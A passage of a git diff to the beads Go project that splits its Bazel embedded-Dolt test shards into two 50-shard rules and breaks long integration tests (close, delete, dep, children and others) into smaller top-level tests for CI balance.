("Having more than 50 shards is indicative of poor test + # organization. Please reduce the number of shards." -- a native + # analysis-time error, not a style lint); the step below checks that + # the two ranges tile the block exactly once. After its slowest + # functions were split into smaller top-level tests, a cmd shard's wall + # time is its slowest test: ~45s median, and at most the *Concurrent + # stress tests' 65-145s (their bd subprocesses queue on one workspace's + # writer lock, so they cannot be split without changing what they test). On RBE the tier's wall time ~= that floor # + fixed cost (checkout, build, shard dispatch), not ~= # sum(durations)/shard_count the way a CPU-core-bound local sweep is -- # each shard is its own remote action and runs concurrently with every @@ -1397,7 +1394,8 @@ jobs: run: >- python3 tools/bazel/check_shard_coverage.py --bep "$RUNNER_TEMP/bazel-bep.json" - --suite //cmd/bd:bd_embedded_test .github/scripts/embedded-test-shard.sh 50 + --suite //cmd/bd:bd_embedded_test .github/scripts/embedded-test-shard.sh 50@0/100 + --suite //cmd/bd:bd_embedded_part2_test .github/scripts/embedded-test-shard.sh 50@50/100 --suite //internal/storage/embeddeddolt:embeddeddolt_embedded_test .github/scripts/embedded-storage-test-shard.sh 20 --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test --whole //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test diff --git a/BUILD.bazel b/BUILD.bazel index 69157bf54..134a91d1d 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -125,7 +125,8 @@ exports_files( # PR Risk's manifest-sharded tiers' shard scripts and their committed # manifests (embedded-Dolt cmd and storage, proxied-server cmd, server-Dolt -# storage). The variants (//cmd/bd:bd_embedded_test, //cmd/bd:bd_proxied_test, +# storage). The variants (//cmd/bd:bd_embedded_test and +# //cmd/bd:bd_embedded_part2_test, //cmd/bd:bd_proxied_test, # //internal/storage/embeddeddolt:embeddeddolt_embedded_test, # //internal/storage/dolt:dolt_server_full_test) run them through # tools/bazel/go_test_manifest_shard.sh, so each Bazel shard runs exactly the diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 00cf8b088..d808cbd5d 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1396,17 +1396,22 @@ go_test( }), ) -# Runs 50 Bazel shards against the TestEmbedded* functions of -# *_embedded_test.go, assigned by the manifest's 50-shard block -# (duration-balanced; see scripts/ci/embedded_cmd_test_durations.json), -# against this configuration's bd_test with BEADS_TEST_EMBEDDED_DOLT=1 and -# the race bd (//cmd/bd:bd under --config=embedded) as the subprocess -# binary. This is a *different* shard count from PR Risk's legacy fork/push -# jobs, "Test (Embedded Dolt Cmd N/20)" (pr-risk.yml): those keep -# running 20 shards of their own, frozen hand-assigned block in the same -# manifest file — shard k here is not the same split as their shard k. It -# repeats bd_test's `env` (the wrapper cannot inherit it). shard_count must -# stay equal to this lane's manifest block's shard total. +# bd_embedded_test and bd_embedded_part2_test run the TestEmbedded* functions +# of *_embedded_test.go between them: the manifest's 100-shard block +# (duration-balanced; see scripts/ci/embedded_cmd_test_durations.json) is +# more than Bazel's 50-shard cap per rule, so bd_embedded_test runs its +# shards 1-50 and bd_embedded_part2_test its shards 51-100 +# (go_test_manifest_shard.sh --shard-offset/--shard-total; bazel.yml's +# check_shard_coverage.py fails unless the two ranges tile the block exactly +# once). Both run this configuration's bd_test with +# BEADS_TEST_EMBEDDED_DOLT=1 and the race bd (//cmd/bd:bd under +# --config=embedded) as the subprocess binary. This is a *different* shard +# count from PR Risk's legacy fork/push jobs, "Test (Embedded Dolt Cmd +# N/20)" (pr-risk.yml): those keep running 20 shards of their own, frozen +# hand-assigned block in the same manifest file — shard k here is not the +# same split as their shard k. Each repeats bd_test's `env` (the wrapper +# cannot inherit it). The two shard_counts must sum to --shard-total, the +# manifest block's shard total. # # Tags: # embedded: the embedded-Dolt tier; excluded from --config=prcore/ci, @@ -1422,6 +1427,8 @@ sh_test( timeout = "eternal", srcs = ["//tools/bazel:go_test_manifest_shard.sh"], args = [ + "--shard-offset=0", + "--shard-total=100", "$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", @@ -1454,6 +1461,44 @@ sh_test( tags = ["embedded"], ) +# Shards 51-100 of the manifest's 100-shard block; see bd_embedded_test. +# +# Tags: +# embedded: as bd_embedded_test. +sh_test( + name = "bd_embedded_part2_test", + size = "large", + # -test.timeout=19m and env: as bd_embedded_test. + timeout = "eternal", + srcs = ["//tools/bazel:go_test_manifest_shard.sh"], + args = [ + "--shard-offset=50", + "--shard-total=100", + "$(rootpath //:.github/scripts/embedded-test-shard.sh)", + "BEADS_TEST_CMD_BINARY", + "$(rootpath :bd_test)", + "-test.timeout=19m", + ], + data = [ + ":bd", + ":bd_test", + ":go_srcs", + "//:.github/scripts/embedded-cmd-test-shards.txt", + "//:.github/scripts/embedded-test-shard.sh", + "//internal/storage/embeddeddolt/cmd:cmd_norace", + "@go_sdk//:bin/gofmt", + ], + env = { + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", + "BEADS_TEST_EMBEDDED_DOLT": "1", + "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + "GORACE": "atexit_sleep_ms=0", + }, + shard_count = 50, + tags = ["embedded"], +) + # Runs 34 Bazel shards against the TestProxiedServer*/TestServerMode* # functions, assigned by the manifest's 34-shard block (duration-balanced; # see scripts/ci/proxied_test_durations.json), against this configuration's diff --git a/cmd/bd/autocommit_embedded_test.go b/cmd/bd/autocommit_embedded_test.go index 1da1e4cc1..146c45889 100644 --- a/cmd/bd/autocommit_embedded_test.go +++ b/cmd/bd/autocommit_embedded_test.go @@ -191,7 +191,10 @@ Created while Dolt auto-commit is in batch mode. }) } -func TestEmbeddedRoutedSiblingWritesCommitTargetHead(t *testing.T) { +// TestEmbeddedRoutedSiblingWritesCommitTargetHead* each run one routed sibling +// write (comment, note, reopen) from the source rig and assert it commits on +// the target rig's head; one top-level test per write for CI shard balance. +func TestEmbeddedRoutedSiblingWritesCommitTargetHeadComment(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") } @@ -223,6 +226,15 @@ func TestEmbeddedRoutedSiblingWritesCommitTargetHead(t *testing.T) { t.Fatal("routed comment was not persisted in target store") } }) +} + +func TestEmbeddedRoutedSiblingWritesCommitTargetHeadNote(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("note", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "sn", "tn") @@ -241,6 +253,15 @@ func TestEmbeddedRoutedSiblingWritesCommitTargetHead(t *testing.T) { t.Fatalf("target notes = %q, want routed note", got.Notes) } }) +} + +func TestEmbeddedRoutedSiblingWritesCommitTargetHeadReopen(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("reopen", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "sr", "tr") @@ -262,21 +283,20 @@ func TestEmbeddedRoutedSiblingWritesCommitTargetHead(t *testing.T) { }) } -// TestEmbeddedRoutedMutatingSiblingWritesCommitTargetHead pins the rest of the -// prefix-routed mutating command surface to the same write-through contract as +// TestEmbeddedRoutedMutatingSibling* pin the rest of the prefix-routed +// mutating command surface to the same write-through contract as // comment/note/reopen above. These commands (the assign/tag shorthands plus // dep/delete/close) resolve a prefix-routed target through the write-intent // router and must commit on the target head, not fail "store is read-only" // (#4141). Each subtest creates the bead in the target rig, runs the command // from the source rig so resolution must route, and asserts both that the // target HEAD advanced and that the mutation persisted in the target store. -// TestEmbeddedRoutedMutatingSiblingAssignTagDep was split from -// TestEmbeddedRoutedMutatingSiblingWritesCommitTargetHead (originally -// ~245.22s, measured under --config=embedded) into 2 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedRoutedMutatingSiblingAssignTagDep(t *testing.T) { +// Each top-level test runs one subtest of the original +// TestEmbeddedRoutedMutatingSiblingWritesCommitTargetHead (later +// ...AssignTagDep and ...DeleteClose), for CI shard balance (see +// scripts/ci/embedded_cmd_test_durations.json): every original subtest is +// preserved exactly once. +func TestEmbeddedRoutedMutatingSiblingAssignTagDepAssign(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") } @@ -301,6 +321,15 @@ func TestEmbeddedRoutedMutatingSiblingAssignTagDep(t *testing.T) { t.Fatalf("target assignee = %q, want alice", got.Assignee) } }) +} + +func TestEmbeddedRoutedMutatingSiblingAssignTagDepTag(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("tag", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "stg", "ttg") @@ -319,6 +348,15 @@ func TestEmbeddedRoutedMutatingSiblingAssignTagDep(t *testing.T) { t.Fatalf("target labels = %v, want routed-label", labels[issue.ID]) } }) +} + +func TestEmbeddedRoutedMutatingSiblingAssignTagDepDepAdd(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("dep_add", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "sdp", "tdp") @@ -347,13 +385,7 @@ func TestEmbeddedRoutedMutatingSiblingAssignTagDep(t *testing.T) { }) } -// TestEmbeddedRoutedMutatingSiblingDeleteClose was split from -// TestEmbeddedRoutedMutatingSiblingWritesCommitTargetHead (originally -// ~245.22s, measured under --config=embedded) into 2 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedRoutedMutatingSiblingDeleteClose(t *testing.T) { +func TestEmbeddedRoutedMutatingSiblingDeleteCloseDelete(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") } @@ -374,6 +406,15 @@ func TestEmbeddedRoutedMutatingSiblingDeleteClose(t *testing.T) { t.Fatalf("routed delete did not remove %s from target store", issue.ID) } }) +} + +func TestEmbeddedRoutedMutatingSiblingDeleteCloseClose(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt auto-commit tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("close", func(t *testing.T) { sourceDir, targetDir, targetBeadsDir := setupRoutedEmbeddedRepo(t, bd, "scl", "tcl") diff --git a/cmd/bd/bootstrap_embedded_test.go b/cmd/bd/bootstrap_embedded_test.go index 41a028802..e4f32a01d 100644 --- a/cmd/bd/bootstrap_embedded_test.go +++ b/cmd/bd/bootstrap_embedded_test.go @@ -88,7 +88,7 @@ func TestBootstrapNoWorkspace(t *testing.T) { }) } -func TestEmbeddedBootstrap(t *testing.T) { +func TestEmbeddedBootstrapExistingDryRunInit(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -160,6 +160,15 @@ func TestEmbeddedBootstrap(t *testing.T) { t.Errorf("expected 'Created fresh database':\nstdout:\n%s\nstderr:\n%s", stdout.String(), stderr.String()) } }) +} + +func TestEmbeddedBootstrapJSONLAndGitOrigin(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // ===== JSONL Import ===== diff --git a/cmd/bd/children_embedded_test.go b/cmd/bd/children_embedded_test.go index 8e1b26851..d2dd4c4fc 100644 --- a/cmd/bd/children_embedded_test.go +++ b/cmd/bd/children_embedded_test.go @@ -26,7 +26,7 @@ func bdChildren(t *testing.T, bd, dir string, args ...string) string { return stdout.String() } -func TestEmbeddedChildren(t *testing.T) { +func TestEmbeddedChildrenBasicAndEmpty(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -51,6 +51,33 @@ func TestEmbeddedChildren(t *testing.T) { } }) + t.Run("children_empty", func(t *testing.T) { + parent := bdCreate(t, bd, dir, "No children parent", "--type", "task") + out := bdChildren(t, bd, dir, parent.ID) + // Should not error, may show empty message + _ = out + }) + + t.Run("children_nonexistent_parent", func(t *testing.T) { + cmd := exec.Command(bd, "children", "ch-nonexistent999") + cmd.Dir = dir + cmd.Env = bdEnv(dir) + out, err := cmd.CombinedOutput() + if err == nil { + t.Fatalf("expected children of nonexistent to fail, got: %s", out) + } + }) +} + +func TestEmbeddedChildrenJSONAndAllStatuses(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "ch") + t.Run("children_json", func(t *testing.T) { parent := bdCreate(t, bd, dir, "JSON parent", "--type", "epic") child := bdCreate(t, bd, dir, "JSON child", "--type", "task") @@ -76,13 +103,6 @@ func TestEmbeddedChildren(t *testing.T) { } }) - t.Run("children_empty", func(t *testing.T) { - parent := bdCreate(t, bd, dir, "No children parent", "--type", "task") - out := bdChildren(t, bd, dir, parent.ID) - // Should not error, may show empty message - _ = out - }) - t.Run("children_includes_all_statuses", func(t *testing.T) { parent := bdCreate(t, bd, dir, "All status parent", "--type", "epic") openChild := bdCreate(t, bd, dir, "Open child", "--type", "task") @@ -99,16 +119,6 @@ func TestEmbeddedChildren(t *testing.T) { t.Errorf("expected closed child in output (--all implied): %s", out) } }) - - t.Run("children_nonexistent_parent", func(t *testing.T) { - cmd := exec.Command(bd, "children", "ch-nonexistent999") - cmd.Dir = dir - cmd.Env = bdEnv(dir) - out, err := cmd.CombinedOutput() - if err == nil { - t.Fatalf("expected children of nonexistent to fail, got: %s", out) - } - }) } // TestEmbeddedChildrenConcurrent exercises children listing concurrently. diff --git a/cmd/bd/close_embedded_test.go b/cmd/bd/close_embedded_test.go index 88ed651d1..2c87dbac0 100644 --- a/cmd/bd/close_embedded_test.go +++ b/cmd/bd/close_embedded_test.go @@ -58,11 +58,15 @@ func bdDepAdd(t *testing.T, bd, dir string, args ...string) { // ===== Close tests ===== -// TestEmbeddedCloseBasic was split from TestEmbeddedClose (originally ~404s, -// measured under --config=embedded) into 3 top-level tests over disjoint -// subtest groups, for CI shard balance (see scripts/ci/embedded_cmd_test_durations.json and -// engdocs/TESTING.md). Every original subtest is preserved exactly once. -func TestEmbeddedCloseBasic(t *testing.T) { +// The TestEmbeddedCloseBasic*, TestEmbeddedCloseGuardsAndEpics and +// TestEmbeddedCloseAlreadyClosed* tests were split from TestEmbeddedClose +// (originally ~404s, measured under --config=embedded) into top-level tests +// over disjoint subtest groups, for CI shard balance (see +// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every +// original subtest is preserved exactly once, in its original order within +// its group. Subtests that share a store stay in one test; the others each +// init their own isolated store. +func TestEmbeddedCloseBasicSharedStore(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -137,6 +141,15 @@ func TestEmbeddedCloseBasic(t *testing.T) { t.Errorf("blocked issue status = %s, want open", got.Status) } }) +} + +func TestEmbeddedCloseBasicIsolatedStores(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) // The direct-route twin of TestProxiedClose/ // close_partial_failure_json_names_the_failed_ids. Two things were asserted @@ -391,12 +404,8 @@ func TestEmbeddedCloseGuardsAndEpics(t *testing.T) { } -// TestEmbeddedCloseAlreadyClosed was split from TestEmbeddedClose (originally -// ~404s, measured under --config=embedded) into 3 top-level tests over -// disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. -func TestEmbeddedCloseAlreadyClosed(t *testing.T) { +// See TestEmbeddedCloseBasicSharedStore for the TestEmbeddedClose split. +func TestEmbeddedCloseAlreadyClosedMultipleIDs(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -457,6 +466,15 @@ func TestEmbeddedCloseAlreadyClosed(t *testing.T) { } } }) +} + +func TestEmbeddedCloseAlreadyClosedContinue(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("close_already_closed_continue_advances", func(t *testing.T) { // Isolated store so molecule progress and the Dolt commit count are @@ -527,6 +545,15 @@ func TestEmbeddedCloseAlreadyClosed(t *testing.T) { beforeCommits, afterCommits) } }) +} + +func TestEmbeddedCloseAlreadyClosedClaimNextAndMolecule(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("close_already_closed_claim_next", func(t *testing.T) { // Isolated store so the ready set is deterministic — the shared store carries diff --git a/cmd/bd/contributor_embedded_test.go b/cmd/bd/contributor_embedded_test.go index 71d31c0a5..8d58b24e1 100644 --- a/cmd/bd/contributor_embedded_test.go +++ b/cmd/bd/contributor_embedded_test.go @@ -13,11 +13,11 @@ import ( "github.com/steveyegge/beads/internal/storage/embeddeddolt" ) -// TestEmbeddedContributorCreate exercises the full contributor mode flow in +// The TestEmbeddedContributorCreate* tests exercise the full contributor mode flow in // embedded Dolt: init → contributor wizard → create. This is the exact // scenario that triggered GH#2988 ("no database selected" when the planning // repo's .beads directory has no metadata.json). -func TestEmbeddedContributorCreate(t *testing.T) { +func TestEmbeddedContributorCreateRoutesToPlanning(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt contributor tests") } @@ -46,6 +46,15 @@ func TestEmbeddedContributorCreate(t *testing.T) { projectBeadsDir := filepath.Join(dir, ".beads") assertIssueNotInStore(t, projectBeadsDir, "cr", issue.ID) }) +} + +func TestEmbeddedContributorCreateShowReadsRouted(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt contributor tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("show_reads_routed_issue", func(t *testing.T) { dir, _ := initContributor(t, bd, "sh") @@ -56,6 +65,15 @@ func TestEmbeddedContributorCreate(t *testing.T) { t.Errorf("title: got %q, want %q", shown.Title, "Show me") } }) +} + +func TestEmbeddedContributorCreateMultiple(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt contributor tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) t.Run("multiple_creates_succeed", func(t *testing.T) { dir, planningDir := initContributor(t, bd, "mc") diff --git a/cmd/bd/delete_embedded_test.go b/cmd/bd/delete_embedded_test.go index 1ca59fead..5f224d21a 100644 --- a/cmd/bd/delete_embedded_test.go +++ b/cmd/bd/delete_embedded_test.go @@ -51,14 +51,22 @@ func bdShowFail(t *testing.T, bd, dir, id string) string { return string(out) } -func TestEmbeddedDelete(t *testing.T) { +// setupEmbeddedDelete is the TestEmbeddedDelete* tests' workspace (prefix td). +func setupEmbeddedDelete(t *testing.T) (string, string) { + t.Helper() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "td") + return bd, dir +} + +func TestEmbeddedDeleteBasic(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } t.Parallel() - bd := buildEmbeddedBD(t) - dir, _, _ := bdInit(t, bd, "--prefix", "td") + bd, dir := setupEmbeddedDelete(t) t.Run("delete_single_issue", func(t *testing.T) { issue := bdCreate(t, bd, dir, "Delete me", "--type", "task") @@ -80,6 +88,19 @@ func TestEmbeddedDelete(t *testing.T) { } }) + t.Run("delete_nonexistent", func(t *testing.T) { + bdDeleteFail(t, bd, dir, "td-nonexistent999", "--force") + }) +} + +func TestEmbeddedDeletePreviewAndGuards(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedDelete(t) + t.Run("delete_without_force_shows_preview", func(t *testing.T) { target := bdCreate(t, bd, dir, "Lonely", "--type", "task") @@ -158,6 +179,15 @@ func TestEmbeddedDelete(t *testing.T) { t.Fatalf("forced dry-run removed dependent: got %v, want %q", got["id"], child.ID) } }) +} + +func TestEmbeddedDeleteForceAndBatch(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd, dir := setupEmbeddedDelete(t) t.Run("delete_force_orphans_dependents", func(t *testing.T) { parent := bdCreate(t, bd, dir, "Force parent", "--type", "task") @@ -183,10 +213,6 @@ func TestEmbeddedDelete(t *testing.T) { bdShowFail(t, bd, dir, issue2.ID) bdShowFail(t, bd, dir, issue3.ID) }) - - t.Run("delete_nonexistent", func(t *testing.T) { - bdDeleteFail(t, bd, dir, "td-nonexistent999", "--force") - }) } func TestEmbeddedDeleteJSONDependencyErrorContract(t *testing.T) { diff --git a/cmd/bd/dep_embedded_test.go b/cmd/bd/dep_embedded_test.go index 378afa7ec..187255af9 100644 --- a/cmd/bd/dep_embedded_test.go +++ b/cmd/bd/dep_embedded_test.go @@ -97,17 +97,18 @@ func bdDepWithInputFail(t *testing.T, bd, dir, input string, args ...string) str return string(out) } -// TestEmbeddedDepA and TestEmbeddedDepB were split from TestEmbeddedDep -// (originally ~317s, measured under --config=embedded) into 2 top-level -// tests over disjoint subtest groups, for CI shard balance (see -// scripts/ci/embedded_cmd_test_durations.json and engdocs/TESTING.md). Every original -// subtest is preserved exactly once. The "list_*" subtests (which assert on -// dependencies added by "add_positional_args" / "add_type_parent_child") -// stay grouped with the "add_*" cluster in TestEmbeddedDepA rather than a -// strict half/half split, since they depend on mutations made by those -// specific earlier subtests that a fresh per-function setup does not -// reproduce. -func TestEmbeddedDepA(t *testing.T) { +// The TestEmbeddedDepA* and TestEmbeddedDepB* tests were split from +// TestEmbeddedDep (originally ~317s, measured under --config=embedded), first +// into TestEmbeddedDepA and TestEmbeddedDepB and then (~95s each on +// rbe-west) into these 6 top-level tests over disjoint subtest groups, for +// CI shard balance (see scripts/ci/embedded_cmd_test_durations.json and +// engdocs/TESTING.md). Every original subtest is preserved exactly once. The +// "list_*" subtests (which assert on dependencies added by +// "add_positional_args" / "add_type_parent_child") stay with those subtests +// and the shared pre-created issues in TestEmbeddedDepAAddAndList, and the +// tree_* subtests with the pre-wired graph in TestEmbeddedDepBTreeAndCycles; +// the subtests that create every issue they use run in their own workspace. +func TestEmbeddedDepAAddAndList(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -153,6 +154,54 @@ func TestEmbeddedDepA(t *testing.T) { } }) + // ===== dep list ===== + + t.Run("list_default_direction_down", func(t *testing.T) { + // issueC depends on issueD (added earlier) + out := bdDep(t, bd, dir, "list", issueC.ID) + if !strings.Contains(out, issueD.ID) { + t.Errorf("expected dependency in list output: %s", out) + } + }) + + t.Run("list_direction_up", func(t *testing.T) { + out := bdDep(t, bd, dir, "list", issueD.ID, "--direction", "up") + if !strings.Contains(out, issueC.ID) { + t.Errorf("expected dependent in list --direction up: %s", out) + } + }) + + t.Run("list_type_filter", func(t *testing.T) { + out := bdDep(t, bd, dir, "list", epic.ID, "--direction", "up", "--type", "parent-child") + if !strings.Contains(out, child1.ID) || !strings.Contains(out, child2.ID) { + t.Errorf("expected children in type-filtered list: %s", out) + } + }) + + t.Run("list_json_output", func(t *testing.T) { + fullArgs := []string{"dep", "list", issueC.ID, "--json"} + cmd := exec.Command(bd, fullArgs...) + cmd.Dir = dir + cmd.Env = bdEnv(dir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("dep list --json failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + if !strings.Contains(stdout.String(), issueD.ID) { + t.Errorf("expected dependency ID in JSON: %s", stdout.String()) + } + }) +} + +func TestEmbeddedDepAAddTypesAndFlags(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "dp") + t.Run("add_type_tracks", func(t *testing.T) { tracker := bdCreate(t, bd, dir, "Tracker", "--type", "task") tracked := bdCreate(t, bd, dir, "Tracked", "--type", "task") @@ -189,6 +238,16 @@ func TestEmbeddedDepA(t *testing.T) { t.Errorf("expected dependency in deps: %s", out) } }) +} + +func TestEmbeddedDepAAddRejectionsAndBulk(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "dp") t.Run("add_cycle_rejected", func(t *testing.T) { // A->B already exists, add B->A to create cycle — should be rejected @@ -261,47 +320,9 @@ func TestEmbeddedDepA(t *testing.T) { t.Fatalf("bulk validation failure should not add valid rows: %s", list) } }) - - // ===== dep list ===== - - t.Run("list_default_direction_down", func(t *testing.T) { - // issueC depends on issueD (added earlier) - out := bdDep(t, bd, dir, "list", issueC.ID) - if !strings.Contains(out, issueD.ID) { - t.Errorf("expected dependency in list output: %s", out) - } - }) - - t.Run("list_direction_up", func(t *testing.T) { - out := bdDep(t, bd, dir, "list", issueD.ID, "--direction", "up") - if !strings.Contains(out, issueC.ID) { - t.Errorf("expected dependent in list --direction up: %s", out) - } - }) - - t.Run("list_type_filter", func(t *testing.T) { - out := bdDep(t, bd, dir, "list", epic.ID, "--direction", "up", "--type", "parent-child") - if !strings.Contains(out, child1.ID) || !strings.Contains(out, child2.ID) { - t.Errorf("expected children in type-filtered list: %s", out) - } - }) - - t.Run("list_json_output", func(t *testing.T) { - fullArgs := []string{"dep", "list", issueC.ID, "--json"} - cmd := exec.Command(bd, fullArgs...) - cmd.Dir = dir - cmd.Env = bdEnv(dir) - stdout, stderr, err := runCommandBuffers(t, cmd) - if err != nil { - t.Fatalf("dep list --json failed: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) - } - if !strings.Contains(stdout.String(), issueD.ID) { - t.Errorf("expected dependency ID in JSON: %s", stdout.String()) - } - }) } -func TestEmbeddedDepB(t *testing.T) { +func TestEmbeddedDepBTreeAndCycles(t *testing.T) { if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") } @@ -327,54 +348,6 @@ func TestEmbeddedDepB(t *testing.T) { bdDep(t, bd, dir, "add", child2.ID, epic.ID, "--type", "parent-child") bdDep(t, bd, dir, "add", issueC.ID, issueD.ID) - // ===== dep remove ===== - - t.Run("remove_basic", func(t *testing.T) { - r1 := bdCreate(t, bd, dir, "Remove A", "--type", "task") - r2 := bdCreate(t, bd, dir, "Remove B", "--type", "task") - bdDep(t, bd, dir, "add", r1.ID, r2.ID) - out := bdDep(t, bd, dir, "remove", r1.ID, r2.ID) - if !strings.Contains(out, "Removed") { - t.Errorf("expected 'Removed' in output: %s", out) - } - }) - - t.Run("remove_rm_alias", func(t *testing.T) { - r1 := 